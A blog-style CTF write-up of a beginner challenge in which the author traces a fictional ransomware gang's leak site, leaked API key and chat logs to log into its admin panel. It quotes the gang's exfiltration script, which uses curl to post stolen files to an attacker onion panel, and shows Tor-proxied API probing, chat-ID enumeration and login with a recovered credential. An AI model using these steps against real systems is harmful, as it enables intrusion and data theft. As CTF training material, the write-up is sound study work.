home / writeups / pantalones-ctf

CTF Writeup Flare × SANS × WiCyS Beginner-Friendly 🚩 Solved

Pantalones Got Pantsed

A ransomware gang called pantalones forgot to delete their exfil script before zipping the victim data. That one mistake unravelled everything — their backend panel URL, their API key, and eventually their own admin credentials. This is how we turned the hunters into the hunted.

Challenge Sisterhood of the Travelling Packets
Organiser Flare × SANS × WiCyS
Date 17–19 August 2026
Placement #28 / first 250
Flag flare{...}
Tools Tor Browser · curl · CyberChef
The pantalones ransomware leak site running on Tor, showing victim countdown timers
fig 1 — pantalones leak site running at b3u42l...onion. six victims, two already published.

Challenge Overview

Flare, SANS, and WiCyS ran a beginner-friendly browser-based CTF across three days. The premise: a careless ransomware collective called pantalones got sloppy. Our job was to trace their OPSEC failures and expose their infrastructure. No Kali, no paid tools — just a Tor Browser and the willingness to read carefully.

The challenge was framed as three phases: forensics, exploitation, and decoding. That framing was accurate. Each phase fed into the next.

Spoilers below. The challenge ran until 19 August 2026. Full flag is included. If you want to try it yourself first, stop here.

Kill Chain

01

Land on the leak site → map the surface

Navigated to the provided onion address. Found a ransomware leak site with six victims: four on countdown timers, two already marked LEAKED (QuantumCore and AetherFlow). Checked page source immediately — found a base64 comment and three nav pages (index, crew, about).

02

Source inspection → red herring

HTML comment: bm90X3RoZV9mbGFnX2tlZXBfbG9va2luZw== decodes to not_the_flag_keep_looking. Noted and moved on.

03

robots.txt → hidden endpoints

/robots.txt disallowed two paths: /api.php and /admin.php. Both returned 404 on plain GET — filed for later.

04

AetherFlow directory → hidden dotfile

Browsed /downloads/aetherflow/. Downloaded aetherflow_leak.zip. Inside: four files, including a hidden dotfile .exfil.sh — the gang's own upload script, accidentally packaged. The TODO comment at the bottom said it all: delete this before zipping.

05

API key extraction → backend panel found

The script contained the gang's backend panel onion URL and API key. Routed curl through Tor Browser's SOCKS5 proxy (port 9150) and hit /api.php with the key. Got back a full action menu.

06

Chat log enumeration → base64 credential

Enumerated action=messages with sequential conversation_id values. In conversation 2: crypt sent mora her own password "encoded" in base64. UGFudGFsMG4zc19SdWwzeiE=Pantal0n3s_Rul3z!

07

Admin panel login → flag

POST to /admin.php with username=mora&password=Pantal0n3s_Rul3z!. Dashboard loaded. Flag sitting in the decryption key column, styled in CSS rainbow animation.

Phase 1 — Forensics

// mapping the site

The leak site ran on PHP (every page ended in .php). That detail matters: PHP backends on a CTF site usually mean there's something to interact with, something beyond static content. The nav had three pages — Leaks, Crew, About — and the page source for the index had everything rendered client-side via a JavaScript array. No server-side rendering meant the full victim data, including browse/download paths, was visible in source without any auth.

index.php — page source (excerpt)
<!-- bm90X3RoZV9mbGFnX2tlZXBfbG9va2luZw== -->
 
// base64 decode →
not_the_flag_keep_looking

Classic CTF misdirection. The comment is there to catch people who stop at the first encoded string they find. Noted the download paths for both leaked victims and moved on.

// robots.txt

robots.txt
User-agent: *
Disallow: /api.php
Disallow: /admin.php

Two endpoints the gang tried to hide. Both 404'd on bare GET requests — no login form visible, no response. Filed. The backend must need something we didn't have yet.

// QuantumCore leak files

QuantumCore's directory contained three files: employee records (SHA-256 hashed SSNs, bcrypt-hashed service account credentials), financial transactions, and internal Slack-style communications. The comms file had a moment worth flagging:

internal_comms.csv — May 8 incident
16:30 i.mccarthy → stein. i really don't care at all. can you please stop pinging me.
16:30 i.mccarthy → @channel URGENT - detected unusual login attempts on several service accounts...
16:35 i.mccarthy → investigating. attempts came from TOR exit nodes. no confirmed unauthorized access yet

Ian McCarthy (IT Director) sent a private message to the wrong channel at 16:30, immediately followed by a genuine incident alert. Sloppy, but not the flag. The real OPSEC failure was coming from the AetherFlow side.

// The find: .exfil.sh

The AetherFlow directory contained a zip. Inside the zip, alongside the expected victim data, was a hidden dotfile: .exfil.sh. This was the gang's own data exfiltration script — written by vex, dated May 30. The last line of the script:

# TODO: delete this before zipping
He didn't.
.exfil.sh — the script vex forgot to delete
#!/bin/bash
# aetherflow staging dump - vex 05/30
PANEL="http://6562q4ut6lpt6r3s37kxilu2huuou2qia23jzlzmlqqznqv5sfbp2xid.onion/"
KEY="pantalonesgroup"
 
TARGETS=(
"route_algorithms_PROPRIETARY.sql"
"customers.sql"
"api_keys_internal.yaml"
)
 
curl -s -X POST "${PANEL}/api.php?action=upload" \
-H "X-Panel-Key: ${KEY}" \
-d "chunk=${b64}&fname=${f}&tag=aetherflow"
 
# TODO: delete this before zipping

This gave us everything we needed for phase two: the backend panel URL, the API key format, and the endpoint structure. Note the panel onion was different from the public leak site — a separate hidden server.

Phase 2 — Exploitation

// routing curl through Tor

Tor Browser exposes a SOCKS5 proxy on localhost port 9150. We can route any curl request through it to resolve .onion addresses:

PowerShell — probing api.php
PS> curl.exe --proxy socks5h://127.0.0.1:9150 -X POST \
-H "X-Panel-Key: pantalonesgroup" \
"http://[MAIN_ONION]/api.php?action=list"
 
{"error":"unknown action","valid_actions":
["upload","status","messages","decrypt","wallets","payloads","exfil"]}

The API was live on the main leak site — not the downed panel onion from the script. The messages action stood out immediately. Ransomware gang crew chat, accessible with a hardcoded API key.

// enumerating the chat logs

The messages endpoint needed a conversation_id. Tried sequential integers starting from 0. Conversations 0–4 all returned crew discussions. Conversation 3 was the most satisfying:

conversation_id=3 — the gang watching us in real time
vex 04:08 "no this is targeted. they hit /api.php?action=messages first,
then started incrementing conversation_id. they know the parameter name"
skid 04:09 "oh fuck. you think its the packets girls hitting us back?"
crypt 04:10 "who else would it be."
vex 04:12 "ok but even if they read the messages theres nothing useful in there right"
crypt 04:13 "are you serious right now. scroll up in this chat and tell me theres nothing useful"
vex 04:15 "...shit"
crypt 04:17 "rotate the panel key NOW and pray they havent logged in yet"
vex 04:19 "ill do it tomorrow its 4am"
crypt was right about everything. He was right that leaving .exfil.sh in the zip was a disaster. Right that base64 isn't encryption. Right that they needed to rotate the key immediately. Nobody listened.

Phase 3 — Decoding

// mora's password

Conversation 2 contained the credential we needed. mora had lost her FTP password after a machine reset and asked crypt for it. Crypt, apparently irritated by the recurring request, "encoded" it:

conversation_id=2 — the base64 non-encryption
mora 03:15 "hey @crypt whats my password for the FTP server again?"
crypt 03:17 "UGFudGFsMG4zc19SdWwzeiE= - thats YOUR password mora.
i encoded it this time, figure it out yourself."
mora 03:18 "ty. ive been using this password since 2011 and nobody
has cracked it yet so i think im good lol"
CyberChef — base64 decode
Input: UGFudGFsMG4zc19SdWwzeiE=
Output: Pantal0n3s_Rul3z!

Base64 is an encoding scheme, not encryption. It provides zero confidentiality. Mora's note that nobody had cracked it since 2011 is technically true — because there was nothing to crack. Anyone who reads the chat can decode it in two seconds.

// admin.php login

We now had a username (mora, from the crew page) and her password. The /admin.php endpoint had shown a 404 on GET but earlier testing with POST and the API key had returned an HTML login form. We sent the credentials:

PowerShell — admin panel login
PS> curl.exe --proxy socks5h://127.0.0.1:9150 -X POST \
-d "username=mora&password=Pantal0n3s_Rul3z!" \
"http://[MAIN_ONION]/admin.php"
 
<h4>panel dashboard</h4>
<table class="striped"> ...
Admin panel HTML source showing the flag in a rainbow-flag CSS class
fig 2 — admin panel source: flag sitting in the Decryption Key column, styled with the .rainbow-flag CSS animation.

The panel dashboard listed all six victims with their ransom amounts, status, and decryption keys. The Sisterhood of the Travelling Packets entry — the CTF organisers themselves, listed as victims of the gang they'd built — had the flag as the decryption key, rendered in a rainbow CSS animation.

🚩 flag
flare{pantal0n3s_g0t_pantsed_2026}
found in admin panel dashboard · Sisterhood of the Travelling Packets · decryption key column

OPSEC Failures — Annotated

The challenge was explicitly framed around a sloppy gang's failures. Here's the full list, in the order we exploited them:

📄

1. .exfil.sh left in the zip

vex packaged his own exfil script alongside the victim data. It contained the backend panel URL, the API key, and the endpoint structure. The TODO comment confirmed he knew it should be deleted. This was the initial pivot point for everything that followed.

🔑

2. Hardcoded API key in the script

pantalonesgroup was baked into the script in plaintext. Even if the script hadn't been leaked, storing credentials in scripts rather than environment variables is unsafe practice.

🔐

3. No auth on the API beyond a shared header

The X-Panel-Key was a single shared secret with no per-user identity, no rate limiting, and no logging beyond chat references. Once we had the key, we had full API access. vex's reasoning: "it's behind Tor, who cares." Obscurity is not a control.

🔓

4. Plaintext credentials in crew chat

Sharing passwords in team messaging — even encoded ones — means every chat log is a credential store. crypt called this out explicitly. mora's response was that the password hadn't been cracked since 2011. Base64 isn't a cracking problem; it's a reading problem.

🔢

5. Base64 mistaken for encryption

UGFudGFsMG4zc19SdWwzeiE= is not encrypted. Base64 is a reversible encoding with no key. Anyone with the encoded string can decode it in two seconds. This is a recurring misconception worth calling out explicitly.

6. Key rotation delayed to the morning

When crypt detected us enumerating the chat logs at 4 AM, he told vex to rotate the panel key immediately. vex said he'd do it in the morning. By then we had the flag. Incident response doesn't have business hours.

Result

#28

First 250 solvers — shirt claimed

Solved on day one, within the first hour of the challenge going live. Redeemed at merch.flare.io using the flag as the discount code.

merch.flare.io order confirmation — Thank you, Rukshana! The Sisterhood of the Travelling Packets shirt at £0.00
fig 3 — order confirmed. £136.00 saved. flag redacted — go find it yourself.

Takeaways

This challenge was a well-constructed beginner introduction to the real shape of threat actor OPSEC failures. Real ransomware groups make exactly these mistakes: credentials in scripts, scripts in archives, passwords in chat, delayed incident response.

Tools used: Tor Browser, PowerShell with curl.exe routed through SOCKS5 (127.0.0.1:9150), CyberChef for base64 decoding. No Kali, no paid tools. The challenge brief was accurate.
← all writeups The Concierge Knew Too Much →